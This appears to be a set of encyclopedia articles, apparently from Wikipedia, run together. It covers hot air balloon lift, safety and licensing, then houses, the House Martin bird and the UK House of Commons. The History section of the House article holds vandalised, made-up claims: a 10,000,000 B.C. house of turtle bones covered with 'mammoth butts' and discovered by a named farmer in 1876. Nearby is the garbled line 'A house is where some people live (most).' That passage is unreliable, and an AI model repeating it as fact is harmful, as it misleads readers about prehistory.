          For typical atmospheric conditions, a hot air balloon requires about 3 m of envelope volume in order to lift 1 kilogram (50 ft/lb). The precise amount of lift provided depends not only upon the internal temperature mentioned above, but the external temperature, altitude above sea level, and humidity of the surrounding air.


          On a hot day, the balloon cannot be loaded as much as on a cool day, because the temperature required for launch will exceed the maximum sustainable for nylon envelope fabric.


          In the lower atmosphere, the lift provided by a hot air balloon decreases about 3% for each 1,000 meters (1% per 1,000 ft) of altitude gained.


          A note on the physics: according to Archimedes' principle, the uplift on a balloon is equal to the weight of unheated air displaced by the balloon. As the density of air at 20 C is about 1.2 kg/m (see density of air) which is 0.07476 lb/ft, the uplift for a balloon of 100,000 ft would be 7476 lb, or 3398 kg. This should be compared with the total mass stated in the previous section.


          


          Hybrids


          The Rozire type of hybrid balloon, called after its creator, Jean-Franois Piltre de Rozier, has a separate cell for helium as well as a cone below for hot air (as is used in a hot air balloon) to heat the helium at night.


          


          Solar


          Solar balloons are hot air balloons that use just solar energy captured by a dark envelope to heat the air inside.


          


          Safety equipment


          To help ensure the safety of pilot and passengers, a hot air balloon may carry several pieces of safety equipment.


          


          In the basket


          In order to relight the burner, in case the pilot light goes out and the optional piezo ignition fails, the pilot should have ready access to a flint spark lighter.


          Many systems, especially those that carry passengers have completely redundant fuel and burner systems: two fuel tanks, connected to two separate hoses, which feed two distinct burners. This enables a safe landing in the case of a clog somewhere in one system or if a system must be disabled because of a fuel leak.


          


          On the occupants


          At a minimum the pilot should wear flame resistant gloves. These can be made of leather or some more sophisticated material, such as nomex. These will enable the pilot to shut off a gas valve in the case of a leak even if there is a flame present. Quick action on the pilot's part to stop the flow of gas can turn a potential disaster into an inconvenience.


          At a minimum the pilot should wear clothes made of natural fibers. These will singe and not burn readily if brought into contact with an open flame. Many synthetic fibers, unless especially formulated for use near flame or high temperatures like nomex, will melt onto the wearer and can cause severe burning.


          Some balloon systems, especially those that hang the burner from the envelope instead of supporting it rigidly from the basket, require the use of helmets by the pilot and passengers.


          


          On the ground crew


          The ground crew should wear gloves on their hands whenever the possibility of handling ropes or lines exists. The mass and exposed surface to air movement of a medium sized balloon is sufficient to cause rope burns to the hands of anyone trying to stop or prevent movement.


          The ground crew should also wear sturdy shoes and at least long pants in case of the need to access a landing or landed balloon in rough or overgrown terrain.


          


          Maintenance and repair


          As aircraft, hot air balloons require regular maintenance in order to remain airworthy. As aircraft made of fabric and that lack direct horizontal control, hot air balloons may occasionally require repairs to rips or snags.


          While some operations, such as cleaning and drying, may be performed by the owner or pilot, other operations, such as sewing, must be performed by a qualified repair technician and recorded in the balloon's maintenance log book.


          


          Maintenance


          To ensure long life and safe operation, the envelope should be kept clean and dry. This prevents mold and mildew from forming on the fabric and abrasion from occurring during packing, transport, and unpacking due to contact with foreign particles. In the event of a landing in a wet (because of precipitation or early morning or late evening dew) or muddy location (farmer's field), the envelope should be cleaned and laid out or hung to dry.


          The burner and fuel system must also be kept clean to ensure safe operation on demand. Damaged fuel hoses need to be replaced. Stuck or leaky valves must be repaired or replaced.


          The wicker basket may require occasional refinishing or repair. The skids on its bottom may require occasional replacement.


          


          Repair


          In the case of a snag, burn, or rip in the envelope fabric, a patch may be applied or the affected panel completely replaced. Patches may be held in place with glue, tape, stitching, or a combination of these techniques. Replacing an entire panel requires the stitching around the old panel to be removed, and a new panel to be sewn in with the appropriate technique, thread, and stitch pattern.


          


          Licensing


          Depending on the size of the balloon, location, and intended use, hot air balloons and their pilots need to comply with a variety of regulations.


          


          Balloons


          In the USA, balloons below a certain size (empty weight of less than 254pounds or 115kg) can be used as an ultralight aircraft and cannot carry passengers, except for pilot training. Anything larger than that must be registered (have an N-number), have an airworthiness certificate, and pass annual inspections.


          


          Pilots


          In the United States, a pilot of a hot air balloon must have a pilot certificate from the Federal Aviation Administration (FAA) and it must carry the rating of "Lighter-than-air free balloon", and unless the pilot is also qualified to fly gas balloons, will also carry this limitation: "Limited to hot air balloons with airborne heater".


          In order to carry paying passengers for hire (and attend some balloon festivals), a pilot must have a commercial pilot certificate. Commercial hot air balloon pilots may also act as hot air balloon flight instructors.


          A pilot does not need a license to fly an ultralight aircraft, but training is highly advised, and some hot air balloons meet the criteria.


          While most balloon pilots fly for the pure joy of floating through the air, many are able to make a living as a professional balloon pilot. Some professional pilots fly commercial passenger sightseeing flights, while others fly corporate advertising balloons.
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      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        House


        
          

          
            [image: A ranch style house in Salinas, California]

            
              A ranch style house in Salinas, California
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              A North European single family house.
            

          


          House generally refers to a shelter or building that is single family detached dwelling or place for habitation by human beings. "Homes" on the other hand include many kinds of dwellings ranging from rudimentary huts of nomadic tribes to high-rise apartment buildings. However, the word can also be used as a verb ("to house"), and can have adjectival formations as well. In some contexts, "house" may mean the same as dwelling, residence, home, abode, accommodation, housing, lodging, among other meanings. A house is where some people live (most).


          The social unit that lives in a house is known as a household. Most commonly, a household is a family unit of some kind, though households can be other social groups, such as single persons, or groups of unrelated individuals. Settled agrarian and industrial societies are composed of household units living permanently in housing of various types, according to a variety of forms of Land tenure. English-speaking people generally call any building they routinely occupy " home". Many people leave their house during the day for work and recreation but typically return to it to sleep or for other activities.


          


          History


          The oldest house in the world is approximately from 10,000,000B.C. and was made of turtle bones, found at Mezhirich near Kiev in Ukraine. It was probably covered with mammoth butts. The house was discovered in 1876 by a farmer (george lopez) digging a new basement six feet below the ground.


          Architect Norbert Schoenauer, in his book 6,000 Years of Housing, identifies three major categories of types of housing: the "Pre-Urban" house, the "Oriental Urban" house, and the "Occidental Urban" house.


          Types of Pre-Urban houses include temporary dwellings such as the Inuit igloo, semi-permanent dwellings such as the pueblo, and permanent dwellings such as the New England homestead.


          "Oriental Urban" houses include houses of the ancient Greeks and Romans, and traditional urban houses in China, India, and Islamic cities.


          "Occidental Urban" houses include medieval urban houses, the Renaissance town house, and the houses, tenements and apartments of the 19th and 20th centuries.


          


          Types


          


          Structure


          
            [image: A suburban neighborhood in San Jose, California.]

            
              A suburban neighbourhood in San Jose, California.
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              Wood houses in the Swiss Alps.
            

          


          The developed world in general features three basic types of house that have their own ground-level entry and private open space, and usually on a separately titled parcel of land:


          
            	Single-family detached houses - free-standing on all sides.


            	Semi-detached houses (duplexes) - houses that are attached, usually to only one other house via a party wall.


            	Terraced house (UK) also known as a row house or townhouse - attached to other houses, possibly in a row, each separated by a party wall.

          


          In addition, there are various forms of attached housing where a number of dwelling units are co-located within the same structure, which share a ground-level entry and may or may not have any private open space, such as apartments (a.k.a. flats) of various scales. Another type of housing is movable, such as houseboats, caravans, and trailer homes.


          In the United Kingdom, 27% of the population live in terraced houses and 32% in semi-detached houses, as of 2002. In the United States as of 2000, 61.4% of people live in detached houses and 5.6% in semi-detached houses, 26% in row houses or apartments, and 7% in mobile homes.


          


          Shape


          Archaeologists have a particular interest in house shape: they see the transition over time from round huts to rectangular houses as a significant advance in optimizing the use of space, and associate it with the growth of the idea of a personal area (see personal space).


          


          Function


          
            [image: A Nalukettu traditional Kerala house in India]

            
              A Nalukettu traditional Kerala house in India
            

          


          Some houses transcend the basic functionality of providing "a roof over one's head" or of serving as a family " hearth and home". When a house becomes a display-case for wealth and/or fashion and/or conspicuous consumption, we may speak of a " great house". The residence of a feudal lord or of a ruler may require defensive structures and thus turn into a fort or a castle. The house of a monarch may come to house courtiers and officers as well as the royal family: this sort of house may become a palace. Moreover, in time the lord or monarch may wish to retreat to a more personal or simple space such as a villa, a hunting lodge or a dacha. Compare the popularity of the holiday house or cottage, also known as a crib.


          In contrast to a relatively upper class or modern trend to ownership of multiple houses, much of human history shows the importance of multi-purpose houses. Thus the house long served as the traditional place of work (the original cottage industry site or "in-house" small-scale manufacturing workshop) or of commerce (featuring, for example, a ground floor "shop-front" shop or counter or office, with living space above). During the Industrial Revolution there was a separation of manufacturing and banking from the house, though to this day some shopkeepers continue (or have returned) to live "over the shop".


          


          Inside the house


          


          Parts
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              Floor plan of a " foursquare" house
            

          


          Many houses have several rooms with specialized functions. These may include a living/eating area, a sleeping area, and (if suitable facilities and services exist) washing and lavatory areas. In traditional agriculture-oriented societies, domestic animals such as chickens or larger livestock (like cattle) often share part of the house with human beings. Most conventional modern houses will at least contain a bedroom, bathroom, kitchen (or kitchen area), and a living room. A typical " foursquare house" (as pictured) occurred commonly in the early history of the United States of America, with a staircase in the centre of the house, surrounded by four rooms, and connected to other sections of the house (including in more recent eras a garage).



          The names of parts of a house often echo the names of parts of other buildings, but could typically include:


          
            
              	
                
                  	atrium


                  	attic


                  	alcove


                  	basement / cellar


                  	bathroom (in various senses of the word)

                


                
                  	
                    
                      	bath / shower


                      	toilet

                    

                  

                


                
                  	bedroom (or nursery, for infants or small children)


                  	conservatory


                  	dining room


                  	family room

                


                
                  	
                    
                      	Fireplace (for warmth during winter; generally not found in warmer climates)

                    

                  

                


                
                  	foyer


                  	front room (in various senses of the phrase)


                  	garage


                  	hallway/ passage


                  	hearth - often an important symbolic focus of family togetherness

                

              

              	
                
                  	kitchen


                  	larder


                  	laundry room


                  	library


                  	living room or den


                  	lounge


                  	nook


                  	office or study


                  	pantry


                  	parlour


                  	recreation room / rumpus room / television room


                  	shrines to serve the religious functions associated with a family


                  	stairwell


                  	sunroom


                  	storage room / box room


                  	workshop

                

              
            

          


          


          Layout


          
            [image: House in Brazil.]

            
              House in Brazil.
            

          


          Ideally, architects of houses design rooms to meet the needs of the people who will live in the house. Such designing, known as " interior design", has become a popular subject in universities. Feng shui, originally a Chinese method of situating houses according to such factors as sunlight and micro-climates, has recently expanded its scope to address the design of interior spaces with a view to promoting harmonious effects on the people living inside the house. Feng shui can also mean the 'aura' in or around a dwelling. Compare the real-estate sales concept of "indoor-outdoor flow".


          The square footage of a house in the United States reports the area of "living space", excluding the garage and other non-living spaces. The "square meters" figure of a house in Europe reports the area of the walls enclosing the home, and thus includes any attached garage and non-living spaces.


          


          Construction
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              The structure of the house (under demolition). This house is constructred from bricks and wood and was later covered by insulating panels. The roof construction is also seen.
            

          


          In the United States, modern house-construction techniques include light-frame construction (in areas with access to supplies of wood) and adobe or sometimes rammed-earth construction (in arid regions with scarce wood-resources). Some areas use brick almost exclusively, and quarried stone has long provided walling. To some extent, aluminium and steel have displaced some traditional building materials. Increasingly popular alternative construction materials include insulating concrete forms (foam forms filled with concrete), structural insulated panels (foam panels faced with oriented strand board or fibre cement), and light-gauge steel framing and heavy-gauge steel framing.


          More generally, people often build houses out of the nearest available material, and often tradition and/or culture govern construction-materials, so whole towns, areas, counties or even states/countries may be built out of one main type of material. For example, a large fraction of American houses use wood, while most British and many European houses utilize stone or brick.


          In the 1900s, some house designers started using prefabrication. Sears, Roebuck & Co. first marketed their Houses by Mail to the general public in 1908. Prefab techniques became popular after World War II. First small inside rooms framing, then later, whole walls were prefabricated and carried to the construction site. The original impetus was to use the labor force inside a shelter during inclement weather. More recently builders have begun to collaborate with structural engineers who use computers and finite element analysis to design prefabricated steel-framed homes with known resistance to high wind-loads and seismic forces. These newer products provide labor savings, more consistent quality, and possibly accelerated construction processes.


          Lesser-used construction methods have gained (or regained) popularity in recent years. Though not in wide use, these methods frequently appeal to homeowners who may become actively involved in the construction process. They include:


          
            	Cannabrick construction


            	cordwood construction


            	straw-bale construction


            	geodesic domes


            	wattle and daub


            	moladi
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              Thermographic comparison of traditional (left) and ' passivhaus' (right) buildings
            

          


          


          Energy-efficiency


          In the developed world, energy-conservation has grown in importance in house-design. Housing produces a major proportion of carbon emissions ( 30% of the total in the UK, for example).


          Development of a number of low-energy building types and techniques continues. They include the zero-energy house, the passive solar house, superinsulated and houses built to the Passivhaus standard.


          


          Legal issues


          Buildings with historical importance have restrictions.


          


          United Kingdom


          New houses in the UK are not covered by the Sale of Goods Act. When purchasing a new house the buyer has less legal protection than when buying a new car. New houses in the UK may be covered by a NHBC guarantee but some people feel that it would be more useful to put new houses on the same legal footing as other products.


          


          United States & Canada


          In the US and Canada, many new houses are built in housing tracts, which provide homeowners a sense of "belonging" and the feeling they have "made the best use" of their money. However, these houses are often built as cheaply and quickly as possible by large builders seeking to maximize profits. Many environmental health issues are ignored or minimized in the construction of these structures. In one case in Benicia, California, a housing tract was built over an old landfill. Homebuyers were never told, and only found out when some began having reactions to high levels of lead and chromium.


          


          Identifying houses


          With the growth of dense settlement, humans designed ways of identifying houses and/or parcels of land. Individual houses sometimes acquire proper names; and those names may acquire in their turn considerable emotional connotations: see for example the house of Howards End or the castle of Brideshead Revisited. A more systematic and general approach to identifying houses may use various methods of house numbering.


          


          Animal houses


          Humans often build "houses" for domestic or wild animals, often resembling smaller versions of human domiciles. Familiar animal houses built by humans include bird-houses, hen-houses/chicken-coops and doghouses ( kennels); while housed agricultural animals more often live in barns and stables. However, human interest in building houses for animals does not stop at the domestic pet. People build bat-houses, nesting-sites for wild ducks and other birds, as well as for many other animals.


          


          Shelter


          Forms of (relatively) simple shelter may include:


          
            
              	Bus stop


              	Camper


              	Chalet


              	Cottage


              	dugout


              	Gazebo


              	Hangar


              	Houseboat


              	hut


              	Lean-to


              	Log Cabin


              	Shack


              	Tent (see also camp)


              	yaodong


              	Caravan


              	Umbrella

            

          


          


          Houses and symbolism


          Houses may express the circumstances or opinions of their builders or their inhabitants. Thus a vast and elaborate house may serve as a sign of conspicuous wealth, whereas a low-profile house built of recycled materials may indicate support of energy conservation.


          Houses of particular historical significance (former residences of the famous, for example, or even just very old houses) may gain a protected status in town planning as examples of built heritage and/or of streetscape values. Plaques may mark such structures.


          House-ownership ( home-ownership) provides a common measure of prosperity in economics. Contrast the importance of house-destruction, tent dwelling and house rebuilding in the wake of many natural disasters.


          Peter Olshavskys House for the Dance of Death provides a 'pataphysical variation on the house.


          


          Heraldry


          The house occurs as a rare charge in heraldry.
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              	House Martin
            


            
              	
                [image: At an official bird ringing station]


                
                  At an official bird ringing station
                

              
            


            
              	Conservation status
            


            
              	
                
                  [image: ]

                  Least Concern( IUCN 3.1)
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Aves

                  


                  
                    	Order:

                    	Passeriformes

                  


                  
                    	Family:

                    	Hirundinidae

                  


                  
                    	Genus:

                    	Delichon

                  


                  
                    	Species:

                    	D. urbicum

                  

                

              
            


            
              	Binomial name
            


            
              	Delichon urbicum

              (Linnaeus, 1758)
            


            
              	
                [image: Yellow – breeding range Blue – wintering range]


                
                  Yellow  breeding range

                  Blue  wintering range
                

              
            


            
              	Synonyms
            


            
              	
                Hirundo urbica Linnaeus, 1758

              
            

          


          The House Martin (Delichon urbicum), sometimes called the Northern House Martin or Common House Martin, is a migratory passerine bird of the swallow family which breeds in Europe, north Africa and temperate Asia; and winters in sub-Saharan Africa and tropical Asia. It feeds on insects which are caught in flight, and it migrates to climates where flying insects are plentiful. It has a blue head and upperparts, white rump and pure white underparts, and is found in both open country and near human habitation. It is similar in appearance to the two other martin species of the Delichon genus, which are both endemic to eastern and southern Asia. It has two accepted subspecies.


          Both the scientific and colloquial name of the bird are related to its use of man-made structures. It builds a closed cup nest from mud pellets under eaves or similar locations on buildings usually in colonies, but sometimes fouling below nests can be a problem.


          It is hunted by the Eurasian Hobby (Falco subbuteo), and like other birds is affected by internal parasites and external fleas and mites, but its large range and population mean that it is not threatened globally. Its proximity to man is generally accepted leading to some cultural and literary references.


          


          Taxonomy


          The House Martin was first described by Linnaeus in his Systema Naturae in 1758 as Hirundo urbica, but was placed in its current genus Delichon by Thomas Horsfield and Frederic Moore in 1854. Delichon is an anagram of the Ancient Greek term ώ (chelīdōn), meaning 'swallow', and the species name urbicum (urbica until 2004, due to a misunderstanding of Latin grammar) means 'of the town' in Latin.


          The Delichon genus is a recent divergence from the Barn Swallow genus Hirundo, and its three members are similar in appearance with blue upperparts, a contrasting white-rump, and whitish underparts. In the past, the House Martin was sometimes considered to be conspecific with the Asian House Martin (D. dasypus), which breeds in the mountains of central and eastern Asia and winters in Southeast Asia, and it also closely resembles the Nepal House Martin (D. nipalense), a resident in the mountains of southern Asia. Although the three Delichon martins are similar in appearance, only D. urbicum has a pure white rump and underparts.


          The House Martin has two geographical subspecies, the western nominate subspecies D. u. urbicum, and the eastern D. u. lagopodum, which was described by German zoologist Peter Simon Pallas in 1811. Other races, like meridionalis from around the Mediterranean have been described, but the claimed differences from the nominate race are clinal, and therefore probably invalid.


          


          Distribution and habitat


          


          Distribution


          The subspecies D. u. urbicum breeds across temperate Eurasia east to central Mongolia and the Yenisei River, and in Morocco, Tunisia and northern Algeria, and migrates on a broad front to winter in sub-Saharan Africa. D. u. lagopodum breeds eastwards of the Yenisei to Kolyma and south to northern Mongolia and northern China; it winters in southern China and Southeast Asia.


          


          Habitat


          The preferred habitat of the House Martin is open country with low vegetation, such as pasture, meadows and farmland, and preferably near water, although it is also found in mountains up to at least 2,200metres (7,200ft) altitude. It is much more urban than the Barn Swallow, and will nest even in city centres if the air is clean enough. It is more likely to be found near trees than other Eurasian swallows, since they provide insect food and also roosting sites. This species does not normally use the reed-bed roosts favoured by migrating Barn Swallows.


          It uses similar open habitats on the wintering grounds, but the House Martin is less conspicuous than wintering Barn Swallows, tending to fly higher and be more nomadic. In the tropical parts of its wintering range, like East Africa and Thailand, it appears to be mainly found in the higher areas.


          


          Migration
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          The House Martin is a migrant which moves on a broad-front (i.e. European birds are not funnelled through the short sea crossings used by large soaring birds, but cross the Mediterranean and Sahara). While migrating they feed in the air on insects, and they generally travel in daylight, although some birds may move at night. Migration brings its own hazards; in 1974, several hundred thousand birds of this species were found dead or dying in the Swiss Alps and surrounding areas, caught by heavy snowfall and low temperatures. Adult survival on autumn migration depends mainly on temperature, with precipitation another major factor, but for juveniles low temperatures during the breeding season are more critical. It is anticipated that since extreme weather is predicted to become more frequent with climate change, future survival rates will depend more on adverse weather conditions than at present.


          The House Martin returns to the breeding grounds a few days after the first Barn Swallows; like that species, particularly when the weather is poor, it seldom goes straight to the nesting sites, but hunts for food over large fresh water bodies. There are records of migrant House Martins staying to breed in Namibia and South Africa instead of returning north. As would be expected for a long distance migrant, it has occurred as a vagrant eastwards to Alaska and west to Newfoundland, Bermuda and the Azores.


          


          Description


          The adult House Martin of the western nominate race is 13centimetres (5.1in) long, with a wing span of 2629centimetres (10.211.4in) and a weight averaging 18.3grammes (0.65oz). It is steel-blue above with a white rump, and white underparts, including the underwings; even its short legs have white downy feathering. It has brown eyes and a small black bill, and its toes and exposed parts of the legs are pink. The sexes are similar, but the juvenile bird is sooty black, and some of its wing coverts and quills have white tips and edgings. D. u. lagopodum differs from the nominate race in that its white rump extends much further onto the tail, and the fork of its tail is intermediate in depth between that of D. u. urbicum and that of the Asian House Martin.


          The white rump and underparts of the House Martin, very noticeable in flight, prevent confusion with other widespread Palaeoarctic swallows such as the Barn Swallow (Hirundo rustica), Sand Martin (Riparia riparia) or Red-rumped Swallow (Cecropis daurica). In Africa, confusion with Grey-rumped Swallow (Pseudhirundo griseopyga) is possible, but that species has a grey rump, off-white underparts and long, deeply forked tail. The House Martin flies with a wing beat averaging 5.3beats per second, which is faster than the wing beat of 4.4beats per second for the Barn Swallow.


          The House Martin is a noisy species, especially at its breeding colonies. The male's song, given throughout the year, is a soft twitter of melodious chirps. The contact call, also given on the wintering grounds, is a hard chirrrp, and the alarm is a shrill tseep.


          


          Behaviour


          


          Breeding
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          The House Martin was originally a cliff and cave nester, and some cliff-nesting colonies still exist, with the nests built below an overhanging rock. It now largely uses human structures such as bridges and houses. Unlike the Barn Swallow, it uses the outside of inhabited buildings, rather than the inside of barns or stables. The nests are built at the junction of a vertical surface and an overhang, such as on house eaves, so that they may be strengthened by attachment to both planes.


          Breeding birds return to Europe between April and May, and nest building starts between late March in North Africa and mid-June in Lapland. The nest is a neat closed convex cup fixed below a suitable ledge, with a narrow opening at the top. It is constructed by both sexes with mud pellets collected in their beaks, and lined with grasses, hair or other soft materials. The mud, added in successive layers, is collected from ponds, streams or puddles. House Sparrows frequently attempt take over the nest during construction, with the House Martins rebuilding elsewhere if they are successful. The entrance at the top of the cup is so small that the sparrows cannot take over the nest once it is complete.
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          The House Martin tends to breed colonially, and nests may be built in contact with each other. A colony size of less than 10 nests is typical, but there are records of colonies with thousands of nests. Four or five white eggs are usually laid, which average 1.9x1.33centimetres (0.75x0.52in) in size, and weigh 1.7grammes (0.06oz). The female does most of the incubation, which normally lasts 14-16 days. The newly hatched chicks are altricial, and after a further 2232 days, depending on weather, the chicks leave the nest. The fledged young stay with, and are fed by, the parents for about a week after leaving the nest. Occasionally, first-year birds from the first brood will assist in feeding the second brood.


          There are normally two broods each year, the nest being reused for the second brood, and repaired and used again in subsequent years. Hatching success is 90%, and fledging survival 6080%. Average mortality for the adult is 4070%. Third broods are not uncommon, though late nestlings are often left to starve. Although individuals aged 10 and 14 years have been recorded, most survive less than five years. For weeks after leaving the nest the young congregate in ever-increasing flocks which, as the season advances, may be seen gathering in trees or on housetops, or on the wires with Swallows. By the end of October, most Martins have left their breeding areas in western and central Europe, though late birds in November and December are not uncommon, and further south migration finishes later anyway.


          Once established, pairs remain together to breed for life; however, extra-pair copulations are common, making this species genetically polygamous, despite being socially monogamous. A Scottish study showed that 15% of nestlings were not related to their putative fathers, and 32% of broods contained at least one extra-pair chick. Extra-pair males, usually from nests where laying had already taken place, were often seen to enter other nests. The paired male initially ensured that his female spent little time alone at the nest, and accompanied her on flights, but the mate-guarding slackened after egg laying began, so the youngest nestling was the most likely to have a different father.


          The House Martin has been regularly recorded as hybridising with the Barn Swallow, this being one of the most common passerine interspecific crosses. The frequency of this hybrid has led to suggestions that Delichon is not sufficiently separated genetically from Hirundo to be considered a separate genus.


          


          Diet
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          The House Martin is similar in habits to other aerial insectivores, including other swallows and martins and the unrelated swifts, and catches insects in flight. In the breeding areas, flies and aphids make up much of the diet, and in Europe, the House Martin takes a larger proportion of aphids and small flies than the Barn Swallow. As with that species, Hymenoptera, especially flying ants, are important food items in the wintering area.


          This species hunts at an average height of 21metres (70ft) during the breeding season, but lower in wet conditions. The hunting grounds are typically within 450metres (1,500ft) of the nest, with a preference for open ground or water, the latter especially in poor weather, but the martins will also follow the plough or large animals to catch disturbed insects. On the wintering grounds, hunting takes place at a greater height of over 50metres (165ft).


          


          Predators and parasites


          Although the House Martin is hunted by the Hobby ( Falco subbuteo), its aerial skills enable it to evade most predators. It is most vulnerable when collecting mud from the ground. This has therefore become a communal activity, with a group of birds descending suddenly on a patch of mud. It is parasitised externally by fleas and mites, including the "House Martin Flea", Ceratophyllus hirundinis, and internally by endoparasites such as Haemoproteus prognei (avian malaria), which are transmitted by blood-sucking insects including mosquitoes. A Polish study showed that nests typically contained more than 29 specimens of ectoparasite, with C. hirundinis and Oeciacus hirundinis the most abundant.


          


          Conservation status


          The House Martin has a large range, with an estimated global extent of 10millionsquarekilometres. Its European population is estimated to be 2048 million individuals. Global population trends have not been quantified, although there is evidence of population fluctuations. For these reasons, the species is evaluated as "least concern" on the 2007 IUCN Red List, and has no special status under the Convention on International Trade in Endangered Species of Wild Fauna and Flora (CITES) which regulates international trade in specimens of wild animals and plants. In Europe and Britain however, population numbers indicate a declining trend, and leading conservation groups in Britain have updated the conservations status to amber indicating medium conservation concern there.
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          This is a species which has greatly benefited historically from forest clearance creating the open habitats it prefers, and from human habitation which have both given it an abundance of safe man-made nest sites. However, populations can fluctuate locally for a number of reasons. New housing has created more nest sites, and clean air legislation has enabled breeding in the centre of major cities like London. Conversely, poor weather, poisoning by agricultural pesticides, lack of mud for nest building and competition with House Sparrows can reduce numbers. Widespread declines in House Martin numbers have been reported from central and northern Europe since 1970. As an attractive bird which feeds on flying insects, the House Martin has usually been tolerated by humans when it shares their buildings for nesting, although the accumulation of droppings below breeding birds can be a nuisance leading to some destruction of nests.


          


          In literature and culture
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          This species lacks the wealth of literary references associated with its relative, the Barn Swallow, although it is possible that some of the older mentions for that bird might equally well refer to the House Martin. William Shakespeare was clearly describing the House Martin when Banquo brings the nests and birds to the attention of Duncan at Macbeth's castle, Inverness:


          
            "This guest of summer,

            The temple-haunting martlet, does approve

            By his loved mansionry that the heaven's breath

            Smells wooingly here. No jutty, frieze,

            Buttress, nor coign of vantage, but this bird

            Hath made his pendant bed and procreant cradle;

            Where they most breed and haunt, I have observed

            The air is delicate." (Macbeth, Act I, scene VI).

          


          There are old legends, with no basis in fact, that House Martins would wall-up House Sparrows by closing the entrance of the mud nest with the intruder inside, or that they would gather en masse to kill a Sparrow.


          The martlet, often believed to refer to the House Martin, or possibly a swallow, was a heraldic bird with short tufts of feathers in the place of legs. It was the cadency mark of the fourth son of a noble family, and features in many coats of arms, including the Plantagenets. The lack of feet signified its inability to land, which explained its link to a younger son, also landless. It also represented swiftness.


          
            Retrieved from " http://en.wikipedia.org/wiki/House_Martin"
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          The House of Commons is the lower house of the Parliament of the United Kingdom, which also comprises the Sovereign and the House of Lords (the upper house). Both Commons and Lords meet in the Palace of Westminster. The Commons is a democratically elected body, consisting of 646 members, who are known as " Members of Parliament" or MPs. Members are elected, through the first-past-the-post system, by electoral districts known as constituencies, and hold their seats until Parliament is dissolved (a maximum of five years).


          The House of Commons evolved at some point during the 14th century and has been in continuous existence since. The House of Commons was originally far less powerful than the House of Lords, but today its legislative powers exceed those of the Lords. Under the Parliament Act 1911, the Lords' power to reject most legislative bills was reduced to a delaying power. Moreover, the Government is primarily responsible to the House of Commons; the Prime Minister stays in office only as long as he or she retains its support. Almost all government ministers are drawn from the House of Commons and, with one brief exception, all Prime Ministers since 1902.


          The full, formal style and title of the House of Commons is The Honourable the Commons of the United Kingdom of Great Britain and Northern Ireland in Parliament assembled.


          


          History


          Today's Parliament of the United Kingdom of Great Britain and Northern Ireland largely descends from the Parliament of the Kingdom of England. That Parliament developed from the council that advised the English monarch in medieval times. This royal council, meeting for short periods, included ecclesiastics, noblemen, as well as representatives of the counties (known as " knights of the shire"). The chief duty of the council was to approve taxes proposed by the Crown. In many cases, however, the council demanded the redress of the people's grievances before proceeding to vote on taxation. Thus, it developed legislative powers.


          In the " Model Parliament" of 1295, representatives of the boroughs (including towns and cities) were also admitted. Thus, it became settled practice that each county send two knights of the shire, and that each borough send two burgesses. At first, the burgesses were almost entirely powerless; whilst county representation was fixed, the monarch could enfranchise or disfranchise boroughs at pleasure. Any show of independence by burgesses would have led to the exclusion of their towns from Parliament. The knights of the shire were in a better position, though less powerful than their aristocratic counterparts in the still unicameral Parliament. The division of Parliament into two houses occurred during the reign of Edward III: the knights and burgesses formed the House of Commons, whilst the clergy and nobility became the House of Lords.


          Though they remained subordinate to both the Crown and the Lords, the Commons did act with increasing boldness. During the Good Parliament (1376), the Speaker of the House of Commons, Sir Peter de la Mare, complained of heavy taxes, demanded an accounting of the royal expenditures, and criticised the King's management of the military. The Commons even proceeded to impeach some of the King's ministers. The bold Speaker was imprisoned, but was soon released after the death of King Edward III. During the reign of the next monarch, Richard II, the Commons once again began to impeach errant ministers of the Crown. They insisted that they could not only control taxation, but also public expenditures. Despite such gains in authority, however, the Commons still remained much less powerful than the Lords and the Crown.


          The influence of the Crown was increased by the civil wars of the late fifteenth century, which destroyed the power of the great nobles. Both houses of Parliament held little power during the ensuing years, and the absolute supremacy of the Sovereign was restored. The domination of the monarch grew further under the Tudor dynasty in the sixteenth century. This trend, however, was somewhat reversed when the House of Stuart came to the English Throne in 1603. The first two Stuart monarchs, James I and Charles I, provoked conflicts with the Commons over issues such as taxation, religion, and royal powers.


          The differences between Charles I and Parliament were great, and resulted in the English Civil War, in which the armed forces of Parliament were victorious. In December 1648 the House of Commons was purged by the New Model Army, which was supposed to be subservient to Parliament. Pride's Purge was indeed the first and only military coup in English history. Subsequently, King Charles I was beheaded and the Upper House was abolished. The unicameral Parliament that remained was later referred to by critics as the Rump Parliament, as it consisted only of a small selection of Members of Parliament approved by the army - some of whom were soldiers themselves. In 1653, when leading figures in this Parliament began to disagree with the army, it was dissolved by Oliver Cromwell. However, the monarchy and the House of Lords were both restored with the Commons in 1660. The influence of the Crown had been decreased, and was further diminished when James II was deposed in the Glorious Revolution of 1688.
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          The eighteenth century saw the development of the office of Prime Minister. The notion that a government remains in power only as long as it retains the support of Parliament evolved, leading to history's first-ever motion of no confidence, when Lord North's government failed to end the American Revolution. The modern notion that only the support of the House of Commons is necessary to a government, however, was of later development. Similarly, the custom that the Prime Minister is always a Member of the Lower House, rather than the Upper one, did not evolve immediately.


          The House of Commons experienced an important period of reform during the nineteenth century. Over the years, several anomalies had developed in borough representation. The constituency boundaries had not been changed since 1660, so many towns that were once important but had declined by the nineteenth century still retained their ancient right of electing two members. The most notorious of these " rotten boroughs" were Old Sarum, which had only six voters for two MPs, and Dunwich which had fallen into the sea. At the same time, large cities such as Manchester received no separate representation (although their eligible residents were able to vote in the corresponding county seat). Also notable were the pocket boroughs, small constituencies controlled by wealthy landowners and aristocrats, whose "nominees" were invariably elected.


          The Commons attempted to address these anomalies by passing a Reform Bill in 1831. At first, the House of Lords proved unwilling to pass the bill, but were forced to relent when the Prime Minister, Lord Grey, advised King William IV to flood the House of Lords by creating pro-Reform peers. To avoid this the Lords relented and passed the bill in 1832. The Reform Act 1832, also known as the "Great Reform Act," abolished the rotten boroughs, established uniform voting requirements for the boroughs, and granted representation to populous cities, but still retained many pocket boroughs. In the ensuing years, the Commons grew more assertive, the influence of the House of Lords having been reduced by the Reform Bill Crisis, and the power of the patrons reduced. The Lords became more reluctant to reject bills that the Commons passed with large majorities, and it became an accepted political principle that the confidence of the House of Commons alone was necessary for a government to remain in office.


